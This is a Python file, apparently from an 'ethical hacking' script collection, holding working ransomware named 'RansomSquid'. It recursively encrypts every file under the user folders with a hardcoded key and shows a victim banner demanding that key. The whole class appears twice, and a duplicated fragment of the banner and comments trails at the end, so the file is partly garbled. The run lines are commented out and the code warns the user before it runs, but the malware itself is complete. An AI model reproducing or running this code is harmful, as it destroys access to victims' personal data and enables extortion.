<reponame>Egida/Ethical-Hacking-Scripts
from cryptography.fernet import Fernet
import os, sys
class RansomWare:
    def __init__(self):
        self.f = b'QAYEFKLQT469LdHWIs4ZG7xKrDr8JRzMTwNFvoQFILg='
        self.fernet = Fernet(self.f)
        self.dirlist = []
        self.file_list = []
        input("[+] This Ransomware can seriously F up your computer(Encrypts personal files). ONLY PRESS ENTER IF YOU ARE OK WITH THIS HAPPENING.")
        input("[+] ARE YOU SURE? THERE IS NO TURNING BACK.")
        print("[+] Your loss :( .")
    def get_file_name(self):
        return sys.argv[0].replace('/',' ').replace("\\"," ").split()[len(sys.argv[0].replace('/',' ').replace("\\"," ").split())-1]
    def get_filelist(self):
        filelist = []
        try:
            for i in os.listdir():
                if "." in i:
                    filelist.append(os.path.join(os.getcwd(), i))
        except:
            pass
        return filelist
    def get_dir_list(self):
        dirlist = []
        try:
            for i in os.listdir():
                if "." not in i:
                    dirlist.append(os.path.join(os.getcwd(), i))
        except:
            pass
        return dirlist
    def encrypt_file(self, filename):
        working = False
        try:
            file = open(filename, "rb")
            working = True
        except:
            pass
        if working:
            content = file.read()
            file.close()
            file = open(filename, "wb")
            file.write(self.fernet.encrypt(content))
            file.close()
        else:
            file.close()
    def decrypt_file(self, filename):
        working = False
        try:
            file = open(filename, "rb")
            working = True
        except:
            passs
        if working:
            try:
                content = file.read()
                file.close()
                decrypt_content = self.fernet.decrypt(content)
                file = open(filename, "wb")
                file.write(decrypt_content)
                file.close()
            except:
                pass
        else:
            file.close()
    def get_files(self):
        if sys.platform == "win32":
            os.chdir("C:/Users/")
        else:
            os.chdir("/Users/")
        self.dirlist.extend(self.get_dir_list())
        self.file_list.extend(self.get_filelist())
        for i in self.dirlist:
            try:
                os.chdir(i)
                self.file_list.extend(self.get_filelist())
                self.dirlist.extend(self.get_dir_list())
            except:
                pass
    def encrypt_files(self):
        self.get_files()
        for i in self.file_list:
            try:
                self.encrypt_file(i)
            except:
                pass
        self.display_warning()
        self.enter_enc_key()
    def decrypt_files(self):
        self.get_files()
        for i in self.file_list:
            try:
                self.decrypt_file(i)
            except:
                pass
    def display_warning(self):
        print(f"""
===============================================================================================================================        
 __     __         _             ____                     _____                                          _              _ _ 
 \ \   / /        ( )           |  _ \                   / ____|                                        (_)            | | |
  \ \_/ /__  _   _|/__   _____  | |_) | ___  ___ _ __   | |     ___  _ __ ___  _ __  _ __ ___  _ __ ___  _ ___  ___  __| | |
   \   / _ \| | | | \ \ / / _ \ |  _ < / _ \/ _ \\ '_ \  | |    / _ \| '_ ` _ \| '_ \| '__/ _ \| '_ ` _ \| / __|/ _ \/ _` | |
    | | (_) | |_| |  \ V /  __/ | |_) |  __/  __/ | | | | |___| (_) | | | | | | |_) | | | (_) | | | | | | \__ \  __/ (_| |_|
    |_|\___/ \__,_|   \_/ \___| |____/ \___|\___|_| |_|  \_____\___/|_| |_| |_| .__/|_|  \___/|_| |_| |_|_|___/\___|\__,_(_)
                                                                              | |                                           
                                                                              |_|                                           
===============================================================================================================================           

[+] You are a victim of RansomSquid!
[+] All of your files have been encrypted.

[+] DO NOT CLOSE THIS WINDOW AS ALL YOUR FILES WILL BE LOST IF YOU DO SO.""")
    def enter_enc_key(self):
        while True:
            key = input("[+] Enter the Encryption Key to Decrypt all of the encrypted Files: ").encode()
            if key == self.f:
                print("[+] Decrypting your files.")
                self.decrypt_files()
                input("[+] Press Enter to Exit.")
                break
            else:
                print("[+] Your Key Is Invalid!")
"""
Get rid of the hashtags if you have gone insane.
"""
#e = RansomWare()
#e.encrypt_files()

from cryptography.fernet import Fernet
import os, sys
class RansomWare:
    def __init__(self):
        self.f = b'QAYEFKLQT469LdHWIs4ZG7xKrDr8JRzMTwNFvoQFILg='
        self.fernet = Fernet(self.f)
        self.dirlist = []
        self.file_list = []
        input("[+] This Ransomware can seriously F up your computer(Encrypts personal files). ONLY PRESS ENTER IF YOU ARE OK WITH THIS HAPPENING.")
        input("[+] ARE YOU SURE? THERE IS NO TURNING BACK.")
        print("[+] Your loss :( .")
    def get_file_name(self):
        return sys.argv[0].replace('/',' ').replace("\\"," ").split()[len(sys.argv[0].replace('/',' ').replace("\\"," ").split())-1]
    def get_filelist(self):
        filelist = []
        try:
            for i in os.listdir():
                if "." in i:
                    filelist.append(os.path.join(os.getcwd(), i))
        except:
            pass
        return filelist
    def get_dir_list(self):
        dirlist = []
        try:
            for i in os.listdir():
                if "." not in i:
                    dirlist.append(os.path.join(os.getcwd(), i))
        except:
            pass
        return dirlist
    def encrypt_file(self, filename):
        working = False
        try:
            file = open(filename, "rb")
            working = True
        except:
            pass
        if working:
            content = file.read()
            file.close()
            file = open(filename, "wb")
            file.write(self.fernet.encrypt(content))
            file.close()
        else:
            file.close()
    def decrypt_file(self, filename):
        working = False
        try:
            file = open(filename, "rb")
            working = True
        except:
            passs
        if working:
            try:
                content = file.read()
                file.close()
                decrypt_content = self.fernet.decrypt(content)
                file = open(filename, "wb")
                file.write(decrypt_content)
                file.close()
            except:
                pass
        else:
            file.close()
    def get_files(self):
        if sys.platform == "win32":
            os.chdir("C:/Users/")
        else:
            os.chdir("/Users/")
        self.dirlist.extend(self.get_dir_list())
        self.file_list.extend(self.get_filelist())
        for i in self.dirlist:
            try:
                os.chdir(i)
                self.file_list.extend(self.get_filelist())
                self.dirlist.extend(self.get_dir_list())
            except:
                pass
    def encrypt_files(self):
        self.get_files()
        for i in self.file_list:
            try:
                self.encrypt_file(i)
            except:
                pass
        self.display_warning()
        self.enter_enc_key()
    def decrypt_files(self):
        self.get_files()
        for i in self.file_list:
            try:
                self.decrypt_file(i)
            except:
                pass
    def display_warning(self):
        print(f"""
===============================================================================================================================        
 __     __         _             ____                     _____                                          _              _ _ 
 \ \   / /        ( )           |  _ \                   / ____|                                        (_)            | | |
  \ \_/ /__  _   _|/__   _____  | |_) | ___  ___ _ __   | |     ___  _ __ ___  _ __  _ __ ___  _ __ ___  _ ___  ___  __| | |
   \   / _ \| | | | \ \ / / _ \ |  _ < / _ \/ _ \\ '_ \  | |    / _ \| '_ ` _ \| '_ \| '__/ _ \| '_ ` _ \| / __|/ _ \/ _` | |
    | | (_) | |_| |  \ V /  __/ | |_) |  __/  __/ | | | | |___| (_) | | | | | | |_) | | | (_) | | | | | | \__ \  __/ (_| |_|
    |_|\___/ \__,_|   \_/ \___| |____/ \___|\___|_| |_|  \_____\___/|_| |_| |_| .__/|_|  \___/|_| |_| |_|_|___/\___|\__,_(_)
                                                                              | |                                           
                                                                              |_|                                           
===============================================================================================================================           

[+] You are a victim of RansomSquid!
[+] All of your files have been encrypted.

[+] DO NOT CLOSE THIS WINDOW AS ALL YOUR FILES WILL BE LOST IF YOU DO SO.""")
    def enter_enc_key(self):
        while True:
            key = input("[+] Enter the Encryption Key to Decrypt all of the encrypted Files: ").encode()
            if key == self.f:
                print("[+] Decrypting your files.")
                self.decrypt_files()
                input("[+] Press Enter to Exit.")
                break
            else:
                print("[+] Your Key Is Invalid!")
"""
Get rid of the hashtags if you have gone insane.
"""
#e = RansomWare()
#e.encrypt_files()
===============================================================================================================================        
  __     __         _             ____                     _____                                          _              _ _ 
  \ \   / /        ( )           |  _ \                   / ____|                                        (_)            | | |
   \ \_/ /__  _   _|/__   _____  | |_) | ___  ___ _ __   | |     ___  _ __ ___  _ __  _ __ ___  _ __ ___  _ ___  ___  __| | |
    \   / _ \| | | | \ \ / / _ \ |  _ < / _ \/ _ \\ '_ \  | |    / _ \| '_ ` _ \| '_ \| '__/ _ \| '_ ` _ \| / __|/ _ \/ _` | |
     | | (_) | |_| |  \ V /  __/ | |_) |  __/  __/ | | | | |___| (_) | | | | | | |_) | | | (_) | | | | | | \__ \  __/ (_| |_|
     |_|\___/ \__,_|   \_/ \___| |____/ \___|\___|_| |_|  \_____\___/|_| |_| |_| .__/|_|  \___/|_| |_| |_|_|___/\___|\__,_(_)
                                                                               | |                                           
                                                                               |_|                                           
 ===============================================================================================================================           
 
 [+] You are a victim of RansomSquid!
 [+] All of your files have been encrypted.
 
 [+] DO NOT CLOSE THIS WINDOW AS ALL YOUR FILES WILL BE LOST IF YOU DO SO. Get rid of the hashtags if you have gone insane. #e = RansomWare() #e.encrypt_files()